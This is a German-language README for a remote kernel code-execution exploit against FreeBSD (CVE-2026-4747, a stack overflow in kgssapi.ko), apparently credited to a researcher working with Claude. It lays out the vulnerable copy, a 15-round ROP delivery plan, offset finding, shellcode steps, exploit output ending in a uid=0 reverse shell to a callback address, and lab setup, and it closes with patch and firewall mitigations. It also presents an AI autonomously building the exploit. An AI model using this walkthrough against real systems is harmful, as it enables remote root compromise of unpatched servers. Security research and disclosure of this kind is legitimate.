
Remote-Kernel-RCE-Exploit für FreeBSD CVE-2026-4747, ein Stack-Pufferüberlauf in kgssapi.ko, der über eine ROP-Kette und Shellcode zu einer Root-Shell führt.
____ __ ______ ____ ___ ____ __ _ _____ _ _ ___
/ ___/\ \ / / ___| |___ \ / _ \___ \ \ \ | ||___ | || ||__ \
| | \ \ / /| | ___ __) | | | |__) | \ \ _ | | / /| || |_ ) |
| |___ \ V / | |___|___| / __/| |_| / __/ \ \ | |__| | / / |__ _|/ /
\____| \_/ \____| |_____|\___/_____| \_\ \____/ /_/ |_||___|
Stack Buffer Overflow in kgssapi.ko → Root Shell in ~4 Stunden
"Der erste Remote-Kernel-RCE-Exploit, der von einer KI entdeckt und ausgenutzt wurde. Gesamtzeit: ~4 Stunden echte Arbeit."
— Entdeckt von Nicholas Carlini mit Claude (Anthropic) · Veröffentlicht am 26. März 2026
CVE-2026-4747 ist eine Stack-Buffer-Overflow-Schwachstelle in kgssapi.ko, dem FreeBSD-Kernelmodul, das die RPCSEC_GSS-Authentifizierung für NFS implementiert.
Die Funktion svc_rpc_gss_validate() kopiert einen vom Angreifer kontrollierten Credential-Body in einen 128-Byte-Puffer auf dem Stack (rpchdr[]), ohne die Größe zu überprüfen. Da 32 Bytes bereits von RPC-Header-Feldern belegt sind, bleiben nur 96 Bytes frei — aber die XDR-Schicht erlaubt Credentials von bis zu 400 Bytes, was 304 Bytes Overflow ergibt.
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2026-4747 |
| CWE | CWE-121 (Stack-basierter Buffer Overflow) |
| Komponente | kgssapi.ko / librpcgss_sec |
| Protokoll | NFS / RPCSEC_GSS / Kerberos |
| Erforderliches Privileg | Gültiges Kerberos-Ticket (niedriges Privileg) |
| Auswirkung | Remote Kernel Code Execution → uid 0 |
| CVSS | 9.8 Critical |
| Gepatcht | FreeBSD-SA-26:08.rpcsec_gss |
26. März 2026 ── FreeBSD veröffentlicht FreeBSD-SA-26:08.rpcsec_gss
Credit: "Nicholas Carlini using Claude, Anthropic"
29. März 2026 ── 09:45 Uhr PDT: Claude wird beauftragt, einen Exploit zu entwickeln
05:00 Uhr PDT: Claude liefert funktionierende Root-Shell
Gesamt: ~7h Wanduhrzeit / ~4h echte Arbeit von Claude
Der Mensch war während des Großteils des Prozesses AFK.
/* In svc_rpc_gss_validate() — kgssapi.ko */
uint8_t rpchdr[128]; /* Puffer auf dem Stack */
/* 32 Bytes bereits von RPC-Header-Feldern verbraucht */
/* Nur 96 Bytes frei */
/* XDR erlaubt Credentials von bis zu 400 Bytes */
/* 400 - 96 = 304 Bytes Overflow → RIP-Hijack */
memcpy(rpchdr, credential_body, credential_len); /* ← BUG: Größe nicht geprüft */
FreeBSD 14.x hat nicht:
int32_t[])Dadurch ist der Weg vom Overflow zur RIP-Kontrolle direkt.
Angreifer (Netzwerk)
│
│ Gültiges Kerberos-Ticket für nfs/target@REALM
│
▼
NFS-Server (Port 2049/TCP)
│
│ RPCSEC_GSS-Request mit credential_len = 400
│
▼
svc_rpc_gss_validate() ← Kernel Ring 0
│
│ memcpy ohne Größenprüfung
│ [128-Byte-Puffer + 304 Bytes Overflow]
│
▼
Stack Smashing → kontrollierter RIP → ROP-Chain → Shellcode
│
▼
kproc_create() + kern_execve("/bin/sh") → uid=0 Reverse Shell
Claude löste 6 verschiedene Probleme, um vom Advisory zur Root-Shell zu gelangen:
# FreeBSD 14.4-RELEASE VM mit:
# - 2+ CPUs (FreeBSD startet 8 NFS-Threads pro CPU; der Exploit benötigt 15 Runden)
# - kgssapi.ko geladen
# - NFS aktiv auf Port 2049
# - MIT Kerberos KDC konfiguriert (erforderlich, um den verwundbaren Code zu erreichen)
# - QEMU-Port-Forwarding: host:2049 → guest:2049, host:8888 → guest:88 (KDC)
# Kritische Kerberos-Konfiguration auf dem Angreifer:
# /etc/krb5.conf
[libdefaults]
rdns = false # Ohne dies: Ticket für nfs/localhost@REALM (falsch)
dns_canonicalize_hostname = false # Server lehnt mit KRB5KRB_AP_WRONG_PRINC ab
Der Shellcode ist 432 Bytes groß, aber pro Paket stehen nur 200 Bytes für die ROP-Chain zur Verfügung.
Runde 1: ROP → pmap_change_prot(BSS, RWX) ← BSS ausführbar machen
Runden 2-14: ROP → 32 Bytes Shellcode in BSS schreiben (4 Writes × 8 Bytes)
Runde 15: ROP → letzte Bytes schreiben + JUMP zum Shellcode
Budget pro Runde: 4 Writes × 40 Bytes = 160 Bytes + 24 Bytes Exit = 184 Bytes ✓ (< 200)
; Jede Runde endet mit kthread_exit(0) statt normalem Return
; Der Server crasht nicht — er verliert nur einen NFS-Thread
; Mit 2 CPUs: 16 Threads verfügbar → genug für 15 Runden
# De-Bruijn-Sequenz → jedes 8-Byte-Substring ist eindeutig
# Als Credential-Body senden → Kernel crasht → RIP aus Crash-Dump lesen
# Das Disassembly sagte Offset 168 → real: 200 Bytes
# Differenz: 32 Bytes des GSS-Headers, die die statische Analyse nicht berücksichtigte
pattern = cyclic(400) # De Bruijn mit 400 Bytes
# Crash-Dump: instruction pointer = 0x6941624162413941
# → cyclic_find(0x6941624162413941) = 200
Der Shellcode läuft in einem reinen Kernel-NFS-Thread — ohne vmspace, ohne Trapframe.
/* Phase 1 (im Shellcode des gekaperten NFS-Threads): */
kproc_create(worker_func, NULL, NULL, 0, 0, "revshell");
kthread_exit(); /* NFS-Thread sauber beenden */
/* Phase 2 (im neuen Prozess): */
/* 1. Debug-Register bereinigen (Hardware-Bug - siehe Schritt 5) */
__asm__("xor %%eax, %%eax; mov %%rax, %%dr7" ::: "rax");
/* 2. /bin/sh ausführen */
kern_execve("/bin/sh", args, envp);
/* 3. KRITISCH: P_KPROC-Flag bereinigen */
/* Ohne dies ruft fork_exit() kthread_exit() auf und tötet den Prozess */
proc->p_flag &= ~P_KPROC;
/* 4. Return → fork_exit() → userret() → iretq → Ring 3 → uid=0 Shell */
Symptom: Der Kindprozess crasht mit Trap 1 (Debug-Exception) bei gültiger Instruktion.
Ursache: kproc_create/fork1 kopiert das PCB des Vaters und erbt die DDB-Breakpoints,
die von früheren Crashes während der Exploit-Entwicklung übrig blieben.
Fix: Zwei Instruktionen vor kproc_create:
xor eax, eax
mov dr7, rax ← Deaktiviert alle Hardware-Breakpoints
$ python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================
Target: 127.0.0.1:2049
Callback: 10.0.2.2:4444
SPN: nfs/[email protected]
Shellcode: 432 Bytes (54 qwords)
Delivery: 15 Runden (1 pmap + 14 write)
[R1/15] pmap_change_prot(BSS, 0x2000, RWX)
[+] BSS ist jetzt RWX
[R2/15] write (4 qwords → 0xffffffff8198a800) ✓
[R3/15] write (4 qwords → 0xffffffff8198a820) ✓
...
[R15/15] write + EXECUTE → JUMP 0xffffffff8198a800
[*] Shellcode geliefert und wird ausgeführt.
[*] kproc_create → kern_execve('/bin/sh -c ...')
[*] Reverse Shell → 10.0.2.2:4444
[+] Verbindung von 127.0.0.1:41320
[+] Shell erhalten!
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
# FreeBSD 14.4-RELEASE herunterladen
curl -O https://download.freebsd.org/releases/amd64/amd64/ISO-IMAGES/14.4/FreeBSD-14.4-RELEASE-amd64-disc1.iso
# Disk erstellen und VM mit 2+ CPUs booten
qemu-img create -f qcow2 freebsd-vuln.qcow2 20G
qemu-system-x86_64 \
-hda freebsd-vuln.qcow2 \
-cdrom FreeBSD-14.4-RELEASE-amd64-disc1.iso \
-m 2G \
-smp 2 \ # 2+ CPUs für 16+ NFS-Threads
-net user,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
-net nic \
-nographic 2>&1 | tee qemu.log # Log zum Lesen von Crash-Dumps
# Innerhalb von FreeBSD: NFS + Kerberos konfigurieren
kldload kgssapi
echo 'nfs_server_enable="YES"' >> /etc/rc.conf
echo 'gssd_enable="YES"' >> /etc/rc.conf
# Basis-KDC-Setup
pkg install heimdal
# Principals erstellen: nfs/[email protected], [email protected]
kadmin -l add nfs/[email protected]
kadmin -l add [email protected]
1. FreeBSD 14.4-RELEASE in VMware installieren
2. Im Network Adapter: "NAT" oder "Host-only" auswählen
3. Port-Forwarding im VMware-NAT konfigurieren:
- Host 2049 TCP → Guest 2049
- Host 88 TCP/UDP → Guest 88 (KDC)
4. Gleiches NFS/Kerberos-Setup wie bei QEMU
5. In /etc/krb5.conf des Angreifers:
kdc = 127.0.0.1:88 (zeigt auf das Port-Forwarding)
# FreeBSD auf gepatchte Version aktualisieren
freebsd-update fetch install
# Prüfen, dass das Advisory gepatcht ist
freebsd-version -k # Muss Version nach SA-26:08 anzeigen
# 1. kgssapi deaktivieren, wenn RPCSEC_GSS nicht benötigt wird
kldunload kgssapi
# In /boot/loader.conf:
# kgssapi_load="NO"
# 2. NFS-Zugriff mit Firewall einschränken
ipfw add deny tcp from any to any 2049 not via lo0
# Oder mit pf:
# block in quick on em0 proto tcp to port 2049
# 3. Kerberos-Authentifizierung nur von vertrauenswürdigen IPs verlangen
# /etc/exports:
# /data -sec=krb5 -network=192.168.1.0 -mask=255.255.255.0
Computer finden seit Jahrzehnten Bugs mit Fuzzern. Aber einen Bug zu finden und ihn auszunutzen sind völlig verschiedene Dinge. Exploit-Entwicklung erfordert das Verständnis des Kernels, den Aufbau von ROP-Chains, die Handhabung von Speicherlayouts, das Debuggen von Crashes und die Anpassung, wenn etwas schiefgeht.
Das galt immer als exklusives Terrain von Menschen.
CVE-2026-4747 zeigt, dass sich diese Grenze verschoben hat.
Claude löste 6 Probleme der Kernel-Exploit-Entwicklung autonom in ~4 Stunden: Lab-Setup, Multi-Paket-Delivery, sauberes Thread-Exit, Offset-Debugging, Kernel-zu-Userland-Übergang und einen undokumentierten Hardware-Breakpoint-Bug. Zwei funktionierende Exploits mit unterschiedlichen Strategien. Beide funktionierten beim ersten Versuch.
Dieses Repository dient ausschließlich der Cybersicherheitsforschung, technischen Dokumentation und Bildungszwecken. Der hier dokumentierte Exploit wurde in einer kontrollierten Umgebung entwickelt und vor der Veröffentlichung verantwortungsvoll an die FreeBSD-Maintainer gemeldet. Nicht gegen Systeme ohne ausdrückliche schriftliche Genehmigung verwenden. Der Autor übernimmt keine Haftung für Missbrauch.
Original-Credit: Nicholas Carlini + Claude (Anthropic) Advisory: FreeBSD-SA-26:08.rpcsec_gss
Stack overflow → ROP → shellcode → kproc_create → iretq → uid=0